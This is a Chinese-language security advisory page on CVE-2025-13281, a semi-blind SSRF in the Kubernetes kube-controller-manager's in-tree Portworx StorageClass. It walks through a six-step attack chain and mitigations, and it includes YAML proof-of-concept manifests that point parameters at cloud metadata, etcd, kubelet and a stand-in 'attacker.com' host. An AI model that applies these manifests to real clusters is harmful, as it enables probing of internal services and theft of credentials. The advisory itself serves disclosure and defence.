IPBUF安全漏洞报告
English
CVE-2025-13281 CVSS 5.8 中危

CVE-2025-13281 kube-controller-manager Portworx StorageClass半盲SSRF漏洞

披露日期: 2025-12-14

漏洞信息

漏洞编号
CVE-2025-13281
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Kubernetes kube-controller-manager (in-tree Portworx StorageClass)

相关标签

CVE-2025-13281SSRFKuberneteskube-controller-managerPortworxServer Side Request Forgery半盲SSRF存储漏洞控制平面信息泄露

漏洞概述

CVE-2025-13281是Kubernetes kube-controller-manager中存在的一个半盲服务器端请求伪造(SSRF)漏洞。当kube-controller-manager处理使用in-tree Portworx StorageClass的PersistentVolumeClaim请求时,攻击者可以利用此漏洞向控制平面主机网络内的任意端点发送请求,从而泄露敏感信息。该漏洞的严重程度为中等,CVSS评分为5.8,主要影响机密性。攻击者需要具备较高权限(经过认证的集群用户)才能利用此漏洞,但无需用户交互。由于是半盲SSRF,攻击者可能无法直接获取响应内容,但可以通过时间差异或错误信息推断目标服务状态。此漏洞特别危险,因为它允许访问通常受保护的服务,如链路本地地址(169.254.0.0/16)、回环地址(127.0.0.0/8)以及Kubernetes控制平面内部的敏感服务。攻击者可以利用泄露的信息进行进一步的攻击,如横向移动或获取集群敏感数据。此漏洞由[email protected]发现并报告,于2025年12月14日公开披露。

技术细节

该漏洞源于kube-controller-manager在处理Portworx StorageClass时的不安全请求处理机制。具体来说,当用户创建使用Portworx StorageClass的PersistentVolumeClaim时,kube-controller-manager会尝试与Portworx存储服务通信以验证或配置存储卷。在这个过程中,kube-controller-manager会发起HTTP请求到用户指定的端点,攻击者可以通过构造恶意的StorageClass配置或PersistentVolumeClaim参数,使kube-controller-manager向攻击者控制的内网地址发送请求。

攻击利用的关键点包括:
1. kube-controller-manager具有访问控制平面主机网络的权限
2. in-tree Portworx StorageClass实现中存在输入验证不足的问题
3. 攻击者可以通过StorageClass的parameters参数指定任意的服务端点
4. 由于是半盲SSRF,攻击者可能通过响应时间或错误信息推断目标服务状态

利用此漏洞的攻击者可以探测和访问:
- Kubernetes API Server的回环端口(127.0.0.1)
- kubelet API端点
- etcd服务端口
- 云提供商的元数据服务(如169.254.169.254)
- 其他运行在控制平面节点上的敏感服务

修复方案需要在kube-controller-manager中实现对Portworx StorageClass请求目标的严格验证,限制只能访问预定义的合法端点,并添加网络隔离措施防止对内部服务的访问。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者获取集群访问凭证,需要具备创建StorageClass和PersistentVolumeClaim的权限
STEP 2
步骤2: 创建恶意StorageClass
攻击者创建一个包含恶意参数的Portworx StorageClass,通过endpoint或iscsi_target_ip参数指定目标内网地址
STEP 3
步骤3: 触发卷制备请求
攻击者创建PersistentVolumeClaim使用恶意StorageClass,触发kube-controller-manager处理卷制备请求
STEP 4
步骤4: SSRF请求发送
kube-controller-manager在处理请求时,向攻击者指定的内网端点发起HTTP请求,利用其对控制平面主机网络的访问权限
STEP 5
步骤5: 信息泄露
通过分析响应时间、错误信息或半盲响应,攻击者推断目标服务状态和返回的部分数据
STEP 6
步骤6: 横向移动
利用获取的敏感信息(如云元数据、服务令牌等),进行进一步的横向移动或权限提升攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13281 PoC - kube-controller-manager Portworx SSRF # This PoC demonstrates how an authenticated user can exploit the SSRF vulnerability # to probe internal services on the control plane host network apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: malicious-portworx provisioner: kubernetes.io/portworx-volume parameters: # Attacker-controlled endpoint to trigger SSRF # This can be changed to target internal services endpoint: "http://169.254.169.254/latest/meta-data/" # Specify internal IP to probe iscsi_target_ip: "127.0.0.1:2379" # Portworx specific parameters that may be abused px_poolid: "http://attacker.com/probe" --- # Create PVC using the malicious StorageClass apiVersion: v1 kind: PersistentVolumeClaim metadata: name: ssrf-poc-pvc namespace: default spec: accessModes: - ReadWriteOnce storageClassName: malicious-portworx resources: requests: storage: 1Gi --- # Alternative: Direct probe of etcd via iscsi_target_ip parameter # The kube-controller-manager will attempt to connect to the specified endpoint # when processing the volume provisioning request apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: etcd-probe provisioner: kubernetes.io/portworx-volume parameters: # Target etcd on localhost (typically port 2379) iscsi_target_ip: "127.0.0.1:2379" # Or target kubelet API # iscsi_target_ip: "127.0.0.1:10250" # Or target cloud metadata service endpoint: "http://169.254.169.254/latest/meta-data/instance-id" # Note: This is a simplified PoC for demonstration purposes. # Actual exploitation may require additional steps and specific cluster configurations.

影响范围

Kubernetes kube-controller-manager (使用in-tree Portworx StorageClass的所有版本)
具体受影响的版本需参考官方安全公告和issue #135525

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制用户创建StorageClass的权限,仅允许管理员操作;2) 监控和审计所有新创建的Portworx StorageClass;3) 考虑禁用in-tree Portworx StorageClass,使用外部CSI驱动;4) 在网络层面隔离控制平面组件,限制kube-controller-manager的网络访问范围;5) 定期检查是否有异常的PersistentVolumeClaim创建请求;6) 关注Kubernetes官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表